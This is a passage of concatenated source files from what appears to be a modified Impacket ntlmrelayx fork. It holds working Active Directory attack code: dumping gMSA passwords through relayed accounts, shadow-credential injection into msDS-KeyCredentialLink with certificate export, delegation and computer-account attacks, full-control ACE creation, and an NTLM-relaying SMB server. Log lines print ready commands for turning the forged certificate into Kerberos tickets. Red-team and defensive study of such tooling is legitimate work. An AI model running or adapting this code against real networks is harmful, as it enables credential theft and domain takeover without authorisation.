705 | passwd = binascii.hexlify(hash.digest()).decode("utf-8") 706 | userpass = sam + ':::' + passwd 707 | LOG.info(userpass) 708 | count += 1 709 | if fd is None: 710 | fd = open(filename, "a+") 711 | fd.write(userpass) 712 | fd.write("\n") 713 | except: 714 | continue 715 | if fd is None: 716 | LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username) 717 | else: 718 | LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) 719 | fd.close() 720 | 721 | if self.config.shadowcredential and self.username[-1] == '$': 722 | try: 723 | success = self.client.search(domainDumper.root, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 724 | self.shadowCredentialAttack(domainDumper,self.client,self.username) 725 | except Exception as e: 726 | LOG.error("The target Domain Functional Level must be **Windows Server 2016** or above") 727 | config.set_priv(True) 728 | return 729 | 730 | # Perform the Delegate attack if it is enabled and we relayed a computer account 731 | if self.config.delegateaccess and self.username[-1] == '$': 732 | dcsync = config.get_dcsync() 733 | if not dcsync: 734 | self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) 735 | return 736 | 737 | # Add a new computer if that is requested 738 | # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota 739 | if self.config.addcomputer: 740 | self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) 741 | # Computer well-known GUID 742 | # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen 743 | computerscontainer = [ 744 | entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] 745 | if b"AA312825768811D1ADED00C04FD8D5CD" in entry 746 | ][0] 747 | LOG.debug("Computer container is {}".format(computerscontainer)) 748 | self.addComputer(computerscontainer, domainDumper) 749 | return 750 | 751 | # Last attack, dump the domain if no special privileges are present 752 | if not dumpedDomain and self.config.dumpdomain: 753 | # Do this before the dump is complete because of the time this can take 754 | dumpedDomain = True 755 | LOG.info('Dumping domain info for first time') 756 | domainDumper.domainDump() 757 | LOG.info('Domain info dumped into lootdir!') 758 | 759 | # Create an object ACE with the specified privguid and our sid 760 | def create_object_ace(privguid, sid): 761 | nace = ldaptypes.ACE() 762 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 763 | nace['AceFlags'] = 0x00 764 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 765 | acedata['Mask'] = ldaptypes.ACCESS_MASK() 766 | acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 767 | acedata['ObjectType'] = string_to_bin(privguid) 768 | acedata['InheritedObjectType'] = b'' 769 | acedata['Sid'] = ldaptypes.LDAP_SID() 770 | acedata['Sid'].fromCanonical(sid) 771 | assert sid == acedata['Sid'].formatCanonical() 772 | acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 773 | nace['Ace'] = acedata 774 | return nace 775 | 776 | # Create an ALLOW ACE with the specified sid 777 | def create_allow_ace(sid): 778 | nace = ldaptypes.ACE() 779 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 780 | nace['AceFlags'] = 0x00 781 | acedata = ldaptypes.ACCESS_ALLOWED_ACE() 782 | acedata['Mask'] = ldaptypes.ACCESS_MASK() 783 | acedata['Mask']['Mask'] = 983551 # Full control 784 | acedata['Sid'] = ldaptypes.LDAP_SID() 785 | acedata['Sid'].fromCanonical(sid) 786 | nace['Ace'] = acedata 787 | return nace 788 | 789 | def create_empty_sd(): 790 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 791 | sd['Revision'] = b'\x01' 792 | sd['Sbz1'] = b'\x00' 793 | sd['Control'] = 32772 794 | sd['OwnerSid'] = ldaptypes.LDAP_SID() 795 | # BUILTIN\Administrators 796 | sd['OwnerSid'].fromCanonical('S-1-5-32-544') 797 | sd['GroupSid'] = b'' 798 | sd['Sacl'] = b'' 799 | acl = ldaptypes.ACL() 800 | acl['AclRevision'] = 4 801 | acl['Sbz1'] = 0 802 | acl['Sbz2'] = 0 803 | acl.aces = [] 804 | sd['Dacl'] = acl 805 | return sd 806 | 807 | # Check if an ACE allows for creation of users 808 | def can_create_users(ace): 809 | createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) 810 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 811 | return False 812 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' 813 | return createprivs and userprivs 814 | 815 | # Check if an ACE allows for adding members 816 | def can_add_member(ace): 817 | writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) 818 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 819 | return writeprivs 820 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' 821 | return writeprivs and userprivs 822 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/attacks/shadowCredential.py: -------------------------------------------------------------------------------- 1 | import ldap3 2 | import string 3 | import random 4 | import json 5 | import os 6 | import logging 7 | from ldap3.protocol.formatters.formatters import format_sid 8 | from ldap3.utils.conv import escape_filter_chars 9 | 10 | from dsinternals.common.data.DNWithBinary import DNWithBinary 11 | from dsinternals.common.data.hello.KeyCredential import KeyCredential 12 | from dsinternals.system.Guid import Guid 13 | from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 14 | from dsinternals.system.DateTime import DateTime 15 | 16 | class ShadowCredentials(object): 17 | def __init__(self, dumper, ldap_session, target_samname): 18 | super(ShadowCredentials, self).__init__() 19 | self.ldap_session = ldap_session 20 | self.delegate_from = None 21 | self.target_samname = target_samname 22 | self.target_dn = None 23 | self.domain_dumper = dumper 24 | 25 | 26 | def info(self, device_id): 27 | logging.info("Searching for the target account") 28 | result = self.get_dn_sid_from_samname(self.target_samname) 29 | if not result: 30 | logging.error('Target account does not exist! (wrong domain?)') 31 | return 32 | else: 33 | self.target_dn = result[0] 34 | logging.info("Target user found: %s" % self.target_dn) 35 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 36 | results = None 37 | for entry in self.ldap_session.response: 38 | if entry['type'] != 'searchResEntry': 39 | continue 40 | results = entry 41 | if not results: 42 | logging.error('Could not query target user properties') 43 | return 44 | try: 45 | device_id_in_current_values = False 46 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']: 47 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value)) 48 | if keyCredential.DeviceId.toFormatD() == device_id: 49 | logging.critical("Found device Id") 50 | keyCredential.show() 51 | device_id_in_current_values = True 52 | if not device_id_in_current_values: 53 | logging.warning("No value with the provided DeviceID was found for the target object") 54 | except IndexError: 55 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 56 | return 57 | 58 | 59 | def list(self): 60 | logging.info("Searching for the target account") 61 | result = self.get_dn_sid_from_samname(self.target_samname) 62 | if not result: 63 | logging.error('Target account does not exist! (wrong domain?)') 64 | return 65 | else: 66 | self.target_dn = result[0] 67 | logging.info("Target user found: %s" % self.target_dn) 68 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 69 | results = None 70 | for entry in self.ldap_session.response: 71 | if entry['type'] != 'searchResEntry': 72 | continue 73 | results = entry 74 | if not results: 75 | logging.error('Could not query target user properties') 76 | return 77 | try: 78 | if len(results['raw_attributes']['msDS-KeyCredentialLink']) == 0: 79 | logging.info('Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute') 80 | else: 81 | logging.info("Listing devices for %s" % self.target_samname) 82 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']: 83 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value)) 84 | logging.critical("DeviceID: %s | Creation Time (UTC): %s" % (keyCredential.DeviceId.toFormatD(), keyCredential.CreationTime)) 85 | except IndexError: 86 | logging.warning('Attribute msDS-KeyCredentialLink does not exist') 87 | return 88 | 89 | def add(self, password, path, export_type, domain, dc_ip): 90 | logging.info("Searching for the target account") 91 | result = self.get_dn_sid_from_samname(self.target_samname) 92 | if not result: 93 | logging.error('Target account does not exist! (wrong domain?)') 94 | return 95 | else: 96 | self.target_dn = result[0] 97 | logging.info("Target user found: %s" % self.target_dn) 98 | logging.info("Generating certificate") 99 | certificate = X509Certificate2(subject=self.target_samname, keySize=2048, notBefore=(-40*365), notAfter=(40*365)) 100 | logging.info("Certificate generated") 101 | logging.info("Generating KeyCredential") 102 | keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime()) 103 | logging.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) 104 | logging.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) 105 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 106 | results = None 107 | for entry in self.ldap_session.response: 108 | if entry['type'] != 'searchResEntry': 109 | continue 110 | results = entry 111 | if not results: 112 | logging.error('Could not query target user properties') 113 | return 114 | try: 115 | new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] 116 | logging.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.target_samname) 117 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) 118 | if self.ldap_session.result['result'] == 0: 119 | logging.critical("Updated the msDS-KeyCredentialLink attribute of the target object") 120 | if path is None: 121 | path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) 122 | logging.debug("No filename was provided. The certificate(s) will be stored with the filename: %s" % path) 123 | if export_type == "PEM": 124 | certificate.ExportPEM(path_to_files=path) 125 | logging.critical("Saved PEM certificate at path: %s" % path + "_cert.pem") 126 | logging.critical("Saved PEM private key at path: %s" % path + "_priv.pem") 127 | logging.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") 128 | logging.critical("Run the following command to obtain a TGT") 129 | logging.critical("python comm/ticket/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache -dc-ip %s" % (path, path, domain, self.target_samname, path, dc_ip)) 130 | elif export_type == "PFX": 131 | if password is None: 132 | password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)) 133 | logging.debug("No pass was provided. The certificate will be stored with the password: %s" % password) 134 | path = "{}_{}".format(path,password) 135 | certificate.ExportPFX(password=password, path_to_file=path) 136 | logging.critical("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") 137 | logging.critical("Must be used with password: %s" % password) 138 | logging.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") 139 | logging.critical("Run the following command to obtain a TGT") 140 | logging.critical("python comm/ticket/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache -dc-ip %s" % (path, password, domain, self.target_samname, path, dc_ip)) 141 | logging.critical("Rubeus.exe asktgt /user:{} /certificate:{}.pfx /password:{} /outfile:{}.tgt /enctype:aes256 /opsec /ptt".format(self.target_samname, path, password, self.target_samname)) 142 | else: 143 | if self.ldap_session.result['result'] == 50: 144 | logging.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message']) 145 | elif self.ldap_session.result['result'] == 19: 146 | logging.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message']) 147 | else: 148 | logging.error('The server returned an error: %s' % self.ldap_session.result['message']) 149 | except IndexError: 150 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 151 | return 152 | 153 | 154 | def remove(self, device_id): 155 | logging.info("Searching for the target account") 156 | result = self.get_dn_sid_from_samname(self.target_samname) 157 | if not result: 158 | logging.error('Target account does not exist! (wrong domain?)') 159 | return 160 | else: 161 | self.target_dn = result[0] 162 | logging.info("Target user found: %s" % self.target_dn) 163 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 164 | results = None 165 | for entry in self.ldap_session.response: 166 | if entry['type'] != 'searchResEntry': 167 | continue 168 | results = entry 169 | if not results: 170 | logging.error('Could not query target user properties') 171 | return 172 | try: 173 | new_values = [] 174 | device_id_in_current_values = False 175 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']: 176 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value)) 177 | if keyCredential.DeviceId.toFormatD() == device_id: 178 | logging.info("Found value to remove") 179 | device_id_in_current_values = True 180 | else: 181 | new_values.append(dn_binary_value) 182 | if device_id_in_current_values: 183 | logging.info("Updating the msDS-KeyCredentialLink attribute of %s" % self.target_samname) 184 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) 185 | if self.ldap_session.result['result'] == 0: 186 | logging.critical("Updated the msDS-KeyCredentialLink attribute of the target object") 187 | else: 188 | if self.ldap_session.result['result'] == 50: 189 | logging.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message']) 190 | elif self.ldap_session.result['result'] == 19: 191 | logging.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message']) 192 | else: 193 | logging.error('The server returned an error: %s' % self.ldap_session.result['message']) 194 | else: 195 | logging.error("No value with the provided DeviceID was found for the target object") 196 | except IndexError: 197 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 198 | return 199 | 200 | 201 | def clear(self): 202 | logging.info("Searching for the target account") 203 | result = self.get_dn_sid_from_samname(self.target_samname) 204 | if not result: 205 | logging.error('Target account does not exist! (wrong domain?)') 206 | return 207 | else: 208 | self.target_dn = result[0] 209 | logging.info("Target user found: %s" % self.target_dn) 210 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 211 | results = None 212 | for entry in self.ldap_session.response: 213 | if entry['type'] != 'searchResEntry': 214 | continue 215 | results = entry 216 | if not results: 217 | logging.error('Could not query target user properties') 218 | return 219 | try: 220 | if len(results['raw_attributes']['msDS-KeyCredentialLink']) == 0: 221 | logging.info('Attribute msDS-KeyCredentialLink is empty') 222 | else: 223 | logging.info("Clearing the msDS-KeyCredentialLink attribute of %s" % self.target_samname) 224 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, []]}) 225 | if self.ldap_session.result['result'] == 0: 226 | logging.critical('msDS-KeyCredentialLink cleared successfully!') 227 | else: 228 | if self.ldap_session.result['result'] == 50: 229 | logging.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message']) 230 | elif self.ldap_session.result['result'] == 19: 231 | logging.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message']) 232 | else: 233 | logging.error('The server returned an error: %s' % self.ldap_session.result['message']) 234 | return 235 | except IndexError: 236 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 237 | return 238 | 239 | 240 | def importFromJSON(self, filename): 241 | logging.info("Searching for the target account") 242 | result = self.get_dn_sid_from_samname(self.target_samname) 243 | if not result: 244 | logging.error('Target account does not exist! (wrong domain?)') 245 | return 246 | else: 247 | self.target_dn = result[0] 248 | logging.info("Target user found: %s" % self.target_dn) 249 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 250 | results = None 251 | for entry in self.ldap_session.response: 252 | if entry['type'] != 'searchResEntry': 253 | continue 254 | results = entry 255 | if not results: 256 | logging.error('Could not query target user properties') 257 | return 258 | try: 259 | if os.path.exists(filename): 260 | keyCredentials = [] 261 | with open(filename, "r") as f: 262 | data = json.load(f) 263 | for kcjson in data["keyCredentials"]: 264 | keyCredentials.append(KeyCredential.fromDict(kcjson).toDNWithBinary().toString()) 265 | logging.info("Modifying the msDS-KeyCredentialLink attribute of %s" % self.target_samname) 266 | self.ldap_session.modify(self.target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, keyCredentials]}) 267 | if self.ldap_session.result['result'] == 0: 268 | logging.critical('msDS-KeyCredentialLink modified successfully!') 269 | else: 270 | if self.ldap_session.result['result'] == 50: 271 | logging.error('Could not modify object, the server reports insufficient rights: %s' % self.ldap_session.result['message']) 272 | elif self.ldap_session.result['result'] == 19: 273 | logging.error('Could not modify object, the server reports a constrained violation: %s' % self.ldap_session.result['message']) 274 | else: 275 | logging.error('The server returned an error: %s' % self.ldap_session.result['message']) 276 | return 277 | except IndexError: 278 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 279 | return 280 | 281 | 282 | def exportToJSON(self, filename): 283 | logging.info("Searching for the target account") 284 | result = self.get_dn_sid_from_samname(self.target_samname) 285 | if not result: 286 | logging.error('Target account does not exist! (wrong domain?)') 287 | return 288 | else: 289 | self.target_dn = result[0] 290 | logging.info("Target user found: %s" % self.target_dn) 291 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) 292 | results = None 293 | for entry in self.ldap_session.response: 294 | if entry['type'] != 'searchResEntry': 295 | continue 296 | results = entry 297 | if not results: 298 | logging.error('Could not query target user properties') 299 | return 300 | try: 301 | if filename is None: 302 | filename = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) + ".json" 303 | logging.debug("No filename was provided. The keyCredential(s) will be stored with the filename: %s" % filename) 304 | if len(os.path.dirname(filename)) != 0: 305 | if not os.path.exists(os.path.dirname(filename)): 306 | os.makedirs(os.path.dirname(filename), exist_ok=True) 307 | keyCredentialsJSON = {"keyCredentials":[]} 308 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']: 309 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value)) 310 | keyCredentialsJSON["keyCredentials"].append(keyCredential.toDict()) 311 | with open(filename, "w") as f: 312 | f.write(json.dumps(keyCredentialsJSON, indent=4)) 313 | logging.critical("Saved JSON dump at path: %s" % filename) 314 | except IndexError: 315 | logging.info('Attribute msDS-KeyCredentialLink does not exist') 316 | return 317 | 318 | 319 | def get_dn_sid_from_samname(self, samname): 320 | self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 321 | try: 322 | dn = self.ldap_session.entries[0].entry_dn 323 | sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) 324 | return dn, sid 325 | except IndexError: 326 | logging.error('User not found in LDAP: %s' % samname) 327 | return False 328 | 329 | def get_sid_info(self, sid): 330 | self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname']) 331 | try: 332 | dn = self.ldap_session.entries[0].entry_dn 333 | samname = self.ldap_session.entries[0]['samaccountname'] 334 | return dn, samname 335 | except IndexError: 336 | logging.error('SID not found in LDAP: %s' % sid) 337 | return False -------------------------------------------------------------------------------- /comm/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | from comm.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 10 | -------------------------------------------------------------------------------- /comm/ntlmrelayx/servers/smbrelayserver.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SMB Relay Server 11 | # 12 | # This is the SMB server which relays the connections 13 | # to other protocols 14 | # 15 | # Authors: 16 | # Alberto Solino (@agsolino) 17 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 18 | # 19 | from __future__ import division 20 | from __future__ import print_function 21 | from threading import Thread 22 | try: 23 | import ConfigParser 24 | except ImportError: 25 | import configparser as ConfigParser 26 | import struct 27 | import logging 28 | import time 29 | import calendar 30 | import random 31 | import string 32 | import socket 33 | import ntpath 34 | import config 35 | 36 | from binascii import hexlify, unhexlify 37 | from six import b 38 | from impacket import smb, ntlm, LOG, smb3 39 | from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED 40 | from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech 41 | from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile 42 | from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH 43 | from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 44 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 45 | from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString 46 | 47 | class SMBRelayServer(Thread): 48 | def __init__(self,config): 49 | Thread.__init__(self) 50 | self.daemon = True 51 | self.server = 0 52 | #Config object 53 | self.config = config 54 | 55 | #Current target IP 56 | self.target = None 57 | #Targets handler 58 | self.targetprocessor = self.config.target 59 | #Username we auth as gets stored here later 60 | self.authUser = None 61 | self.proxyTranslator = None 62 | 63 | # Here we write a mini config for the server 64 | smbConfig = ConfigParser.ConfigParser() 65 | smbConfig.add_section('global') 66 | smbConfig.set('global','server_name','server_name') 67 | smbConfig.set('global','server_os','UNIX') 68 | smbConfig.set('global','server_domain','WORKGROUP') 69 | smbConfig.set('global','log_file','smb.log') 70 | smbConfig.set('global','credentials_file','') 71 | 72 | if self.config.smb2support is True: 73 | smbConfig.set("global", "SMB2Support", "True") 74 | else: 75 | smbConfig.set("global", "SMB2Support", "False") 76 | 77 | if self.config.outputFile is not None: 78 | smbConfig.set('global','jtr_dump_path',self.config.outputFile) 79 | 80 | if self.config.SMBServerChallenge is not None: 81 | smbConfig.set('global', 'challenge', self.config.SMBServerChallenge) 82 | 83 | # IPC always needed 84 | smbConfig.add_section('IPC$') 85 | smbConfig.set('IPC$','comment','') 86 | smbConfig.set('IPC$','read only','yes') 87 | smbConfig.set('IPC$','share type','3') 88 | smbConfig.set('IPC$','path','') 89 | 90 | # Change address_family to IPv6 if this is configured 91 | if self.config.ipv6: 92 | SMBSERVER.address_family = socket.AF_INET6 93 | 94 | # changed to dereference configuration interfaceIp 95 | if self.config.listeningPort: 96 | smbport = self.config.listeningPort 97 | else: 98 | smbport = 445 99 | 100 | self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig) 101 | logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) 102 | 103 | self.server.processConfigFile() 104 | 105 | self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 106 | self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) 107 | self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) 108 | 109 | self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) 110 | self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) 111 | self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect) 112 | # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 113 | #TODO: See if this is the best way to accomplish this 114 | 115 | # changed to dereference configuration interfaceIp 116 | self.server.addConnection('SMBRelay', config.interfaceIp, 445) 117 | 118 | ### SMBv2 Part ################################################################# 119 | def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): 120 | connData = smbServer.getConnectionData(connId, checkStatus=False) 121 | 122 | respPacket = smb3.SMB2Packet() 123 | respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 124 | respPacket['Status'] = STATUS_SUCCESS 125 | respPacket['CreditRequestResponse'] = 1 126 | respPacket['Command'] = smb3.SMB2_NEGOTIATE 127 | respPacket['SessionID'] = 0 128 | 129 | if isSMB1 is False: 130 | respPacket['MessageID'] = recvPacket['MessageID'] 131 | else: 132 | respPacket['MessageID'] = 0 133 | 134 | respPacket['TreeID'] = 0 135 | 136 | respSMBCommand = smb3.SMB2Negotiate_Response() 137 | 138 | # Just for the Nego Packet, then disable it 139 | respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED 140 | 141 | if isSMB1 is True: 142 | # Let's first parse the packet to see if the client supports SMB2 143 | SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) 144 | 145 | dialects = SMBCommand['Data'].split(b'\x02') 146 | if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: 147 | respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 148 | #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 149 | else: 150 | # Client does not support SMB2 fallbacking 151 | raise Exception('Client does not support SMB2, fallbacking') 152 | else: 153 | respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 154 | #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 155 | 156 | respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 157 | respSMBCommand['Capabilities'] = 0 158 | respSMBCommand['MaxTransactSize'] = 65536 159 | respSMBCommand['MaxReadSize'] = 65536 160 | respSMBCommand['MaxWriteSize'] = 65536 161 | respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 162 | respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 163 | respSMBCommand['SecurityBufferOffset'] = 0x80 164 | 165 | blob = SPNEGO_NegTokenInit() 166 | blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], 167 | TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 168 | 169 | 170 | respSMBCommand['Buffer'] = blob.getData() 171 | respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 172 | 173 | respPacket['Data'] = respSMBCommand 174 | 175 | smbServer.setConnectionData(connId, connData) 176 | 177 | return None, [respPacket], STATUS_SUCCESS 178 | 179 | 180 | def SmbSessionSetup(self, connId, smbServer, recvPacket): 181 | connData = smbServer.getConnectionData(connId, checkStatus = False) 182 | 183 | ############################################################# 184 | # SMBRelay 185 | # Are we ready to relay or should we just do local auth? 186 | if 'relayToHost' not in connData: 187 | # Just call the original SessionSetup 188 | respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket) 189 | # We remove the Guest flag 190 | if 'SessionFlags' in respCommands[0].fields: 191 | respCommands[0]['SessionFlags'] = 0x00 192 | return respCommands, respPackets, errorCode 193 | 194 | # We have confirmed we want to relay to the target host. 195 | respSMBCommand = smb3.SMB2SessionSetup_Response() 196 | sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) 197 | 198 | connData['Capabilities'] = sessionSetupData['Capabilities'] 199 | 200 | securityBlob = sessionSetupData['Buffer'] 201 | 202 | rawNTLM = False 203 | if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: 204 | # NEGOTIATE packet 205 | blob = SPNEGO_NegTokenInit(securityBlob) 206 | token = blob['MechToken'] 207 | if len(blob['MechTypes'][0]) > 0: 208 | # Is this GSSAPI NTLM or something else we don't support? 209 | mechType = blob['MechTypes'][0] 210 | if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 211 | mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 212 | # Nope, do we know it? 213 | if mechType in MechTypes: 214 | mechStr = MechTypes[mechType] 215 | else: 216 | mechStr = hexlify(mechType) 217 | smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) 218 | # We don't know the token, we answer back again saying 219 | # we just support NTLM. 220 | respToken = SPNEGO_NegTokenResp() 221 | respToken['NegState'] = b'\x03' # request-mic 222 | respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 223 | respToken = respToken.getData() 224 | respSMBCommand['SecurityBufferOffset'] = 0x48 225 | respSMBCommand['SecurityBufferLength'] = len(respToken) 226 | respSMBCommand['Buffer'] = respToken 227 | 228 | return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED 229 | elif 